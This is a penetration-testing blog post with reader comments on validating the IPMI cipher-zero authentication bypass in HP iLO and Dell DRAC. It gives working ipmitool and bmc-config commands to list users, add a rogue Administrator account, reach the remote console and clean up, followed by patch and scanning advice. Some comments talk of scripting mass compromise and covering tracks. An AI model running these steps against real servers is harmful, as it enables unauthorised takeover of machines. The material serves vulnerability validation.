By Tony Lee
Introduction
So, you run a vulnerability scan and see a finding called: “IPMI Cipher Suite Zero Authentication Bypass”. After reading the description, you realize that it sounds pretty bad. Let’s take a few minutes to understand the protocol and vulnerability. Then we will cover vulnerability validation and the repercussions of having this issue lurk on your network for an attacker to find.
Outline
- Understanding
- Wikipedia
- Nessus
- Original report
- Necessary Tools
- Validation and Consequences
- List users
- Pull the current config
- Add users
- Login to the WebUI
- Remove users
- Countermeasures
- Conclusion
Understanding
Wikipedia + Nessus = Decent understanding of the purpose and vulnerability:
Wikipedia
“The Intelligent Platform Management Interface (IPMI) is a standardized computer system interface used by system administrators for out-of-band management of computer systems and monitoring of their operation. It is a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell.
The development of this interface specification was led by Intel Corporation and is supported by more than 200 computer systems vendors.[1] Cisco, Dell, Hewlett-Packard, Intel, and NEC Corporation announced IPMI v1.0 on 1998-09-16, v1.5 on 2001-03-01, and v2.0 on 2004-02-14.”
So what does this mean?? Think Dell’s DRAC or HP’s iLO--remote out of band management that can control hardware and provide a virtual desktop/terminal.
Nessus
Now that we understand what IPMI is used for, what is the problem with it? Nessus has the short answer:
“The IPMI service listening on the remote system has cipher suite zero enabled, which permits logon as an administrator without requiring a password. Once logged in, a remote attacker may perform a variety of actions, including powering off the remote system.”
Source: Nessus Vulnerability Scanner
Original Disclosure
These two sources give you a high level understanding of the issue, but if you want the gory details and an in-depth understanding of this vulnerability--see the original disclosure by Dan Farmer <zen@fish2.com>: http://fish2.com/ipmi/cipherzero.html
If you want to know what you need to validate it using Kali, read on. :)
Necessary Tools
Since we like quick and easy validation, the operating system that we will be using to validate this finding is Kali Linux 1.0 (VMWare download). This is available from www.kali.org/downloads/.
Figure 1: Kali Linux download page
Unfortunately the base install of Kali, does not include the tools we need, so let’s install them.
There are two tools that we will need:
ipmitool - located in the ipmitool package
bmc-config - located in the freeipmi-tools package (read caution below)
Caution:
At first, I used the following command: “apt-get install freeipmi-tools”. However, the problem is that the current debian package in our repository is only version 1.1.5, which does not support the -I option to specify CIPHER-SUITE-ID. Thus we get an error message later if we try to add a user.
Error message encountered later if we do not perform a manual install:
bmc-config: invalid option -- 'I'
Try `bmc-config --help' or `bmc-config --usage' for more information.
|
Freeipmi version 1.1.6 supports this option though, so we will have to get that manually.
The following commands will get you all the tools needed to validate this finding:
apt-get install ipmitool
wget http://ftp.gnu.org/gnu/freeipmi/freeipmi-1.1.6.tar.gz
tar -zxvf freeipmi-1.1.6.tar.gz
cd freeipmi-1.1.6/
./configure
make
make install
|
Validation and Consequences
So, how will we validate this issue? There are progressively intrusive actions that we can perform to validate and understand the consequences.
List users
The easiest way to test the bypass is to list the users using the ipmitool:
If the issue is discovered on an HP iLO, try using Administrator as the default user present. If the device is a DRAC, try using root. If you are unsure of the device attempt to access it over HTTP or try either Administrator or root for the user. For our example, we will run it against an iLO:
Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list
Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 (Empty User) true false false NO ACCESS
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS
|
Pull the current config
Before modifying the configuration file, we may want to pull a copy first. This will pull the current remote configuration and write it to a text file called config.txt.
Tony@kali:~# /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 -o -f config.txt
|
Add users
The next step after listing the users is to add a user in which we know the password. Note: The original advisory listed a configuration file that you could use as a template. That configuration file did not work for me. My test target is an iLO 4, so the best thing I could come up with was to pull the current configuration as shown above and take a snippet of that and use it to create a user. My configuration file is shown below--but I took it from the current configuration to make sure it matched what the remote device was expecting. Also, remember to uncomment the Password field if you copy and paste from your current configuration file--mine was commented (##) by default.
Using your favorite text editor (VIM is the best evar), create a text file called adduser.txt with the following content:
Section User2
## Give Username
Username TestUser
## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
Password StrongPassword1!
## Possible values: Yes/No or blank to not set
Enable_User Yes
## Possible values: Yes/No
Lan_Enable_IPMI_Msgs Yes
## Possible values: Yes/No
Lan_Enable_Link_Auth Yes
## Possible values: Yes/No
Lan_Enable_Restricted_to_Callback No
## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit Administrator
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Lan_Session_Limit
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Serial_Session_Limit
EndSection
|
Now use the bmc-config tool to add that user using the --commit option:
Syntax:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f adduser.txt
Example:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f adduser.txt
Note: I received the following error, but the WebUI login still worked:
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
|
List the users again to make sure your new user is present:
Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list
Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P WhateverPassword user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 TestUser true false true ADMINISTRATOR
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS
|
Our new TestUser is present as an Administrator. Let’s try it out!
Login to the WebUI
Now that you have a username and a password that you know--try logging into the Web UI.
Figure 2: Log into the Web UI with your newly created credentials.
After authenticating with your newly created credentials, you should have options similar to what is shown in the screenshot below.
Figure 3: All of the options expanded. Power and Remote Console can be the most interruptive and fun.
Try to access the Remote Console. If the host at the remote console has an unlocked screen--you are in business!
Remove users
After the point has been proven, you can use the Administrator account to delete the user or you can try to delete it using the same method you used to add a user--the bmc-tool.
Using your favorite text editor (VIM is still the best evar), create a text file called removeuser.txt with the following content:
Section User2
## Give Username
Username (Empty User)
## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
## Password
## Possible values: Yes/No or blank to not set
Enable_User No
## Possible values: Yes/No
Lan_Enable_IPMI_Msgs No
## Possible values: Yes/No
Lan_Enable_Link_Auth No
## Possible values: Yes/No
Lan_Enable_Restricted_to_Callback No
## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit No_Access
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Lan_Session_Limit
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Serial_Session_Limit
EndSection
|
Now use the bmc-config tool to remove the user:
Syntax:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f removeuser.txt
Example:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f removeuser.txt
Note: I received the following error, but the user was still disabled:
ERROR: Failed to commit `User2:Lan_Enable_IPMI_Msgs': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Enable_Restricted_to_Callback': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Privilege_Limit': Invalid/Unsupported Config
|
List the users again to make sure your new user is gone:
Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list
Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 (Empty true false false NO ACCESS
3 (Empty User) true false false NO ACCESS
4 (Empty User) true false false NO ACCESS
5 (Empty User) true false false NO ACCESS
6 (Empty User) true false false NO ACCESS
7 (Empty User) true false false NO ACCESS
8 (Empty User) true false false NO ACCESS
9 (Empty User) true false false NO ACCESS
10 (Empty User) true false false NO ACCESS
11 (Empty User) true false false NO ACCESS
12 (Empty User) true false false NO ACCESS
|
For some reason, I could not get it to say “(Empty User)” again, but the account no longer works. If you figure it out, please feel free to leave the answer in the comments below.
Countermeasures
The first countermeasure is to find all of your systems with this issue. You can use a scanner such as Nessus or you could also use a Metasploit auxiliary module using the following path:
auxiliary/scanner/ipmi/ipmi_cipher_zero
Just set your RHOSTS variable and you are off and running.
The actual fix appears simple in that IPMI v2 should not support cipher 0 in the first place. As easy as this sounds, the manufacturers may not provide that level of control over the device--thus you may be stuck relying on their patches. For example, for iLO the fix is the following:
“Upgrade iLO3 to version 1.60, or higher, and iLO4 to version 1.30, or higher, to address this vulnerability.”
Your vendor and mileage may vary.
Conclusion
In this article, we examined how to quickly validate and explore the consequences of the IPMI Cipher 0 bypass vulnerability. Special Thanks goes to Dan Farmer for his research in IPMI security and releasing his findings. Thanks for reading and happy hacking.
Great blog Tony! I just recently came across this finding on a pen test and my mind was blown after reading your blog. The only issue I ran into was the following error:
ReplyDeleteerror while loading shared libraries: libipmidetect.so.0: cannot open shared object file: No such file or directory
Luckily it was a quick and easy fix - apt-get install libipmidetect-dev - I was on my way! Once again, great work sir!
Glad the post was so helpful. Because this is still relatively new and so prevalent I feel that many people will run into this issue in their environment or on pen tests. Thanks for the missing package fix.
DeleteHey Tony,
ReplyDeleteI have just tried out the above tricks and removing the created user with bmc-config is not flawless. You will not be able to login again, but if you login with an Administrator user on the web interface, you will still see the added user there.
However, simply deleting the newly created user on the web interface while you are still logger in with it (ehh) works with no problem at all! :)
David
Thanks for the feedback David. Yeah, I ran into a rough clean up as well. If anyone figures it out without using another administrator account via the webUI, that would be great if you could post it back here. :)
DeleteFunny enough, my brother ran into a client with a bunch of these vulnerable boxes. Still looking for an initial foothold, it could be easily scriptable to pop a list of affected hosts, but the cleanup needs to be a little better before that is attempted. ;)
Thanks again for the feedback. Happy hacking sir.
No no. You don't need to use another admin acc. You can use the one you've created to delete... well... the one you've created. Lemme try to explain it again.
DeleteSo for example, you create the TestUser account for the Section User2 slot, login to the webUI with TestUser, do your nasty stuff and when you are done, you can delete TestUser with TestUser (I know, right?) and finally, logout with TestUser (yes, by that time, TestUser was already deleted). :)
Ha! I never thought to try to delete the account with itself. I figured there would be something to prevent that from happening. :-O Now I can't wait to find that vulnerability again so I can try it out. I wonder if that is system dependent though, for example maybe that works with iLO and not DRAC or vice versa? What was the system you tried this against?
DeleteThanks again,
-Tony
Oh, now that everything has a web interface for management, you can expect all kinds of mistakes you see during web app pentests. :)
DeleteBTW, the system I tested was an HP iLO and I cannot get my hands on DELL servers right now, so let me know pls if this works with DRAC too.
freeipmi-tools has been updated to 1.1.6 in Kali Linux. There's no longer need to install freeipmi-tools from source.
ReplyDeleteGood to know--thank you for the update.
DeleteI have also experienced with similar situation can anybody suggest me how to disable cipher suite 0. Here is the information of my server.
ReplyDeleteProLiant DL180 G6
integrated light out 100.
since I am using the old version of ilo so I didn't see any disable option for this. Appreciate for your help.
Does anybody know how to disable cipher suite 0 ? This is my server information.
ReplyDeleteProLiant DL180 G6
integrated lights out 100
Thanks
Tying this on a Dell Poweredge r710. I get Error: Unable to establish IPMI v2 /RMCP+ session
ReplyDeleteInteresting... Google turns up quite a bit on that error message. Did you try using the verbose flag for ipmitool?
DeleteI got that same error when I tried to run commands without specifying -C 0 as one of the arguments.
DeleteI also got this error when specifying a non-existent user; is it possible one of these is your cause?
HTH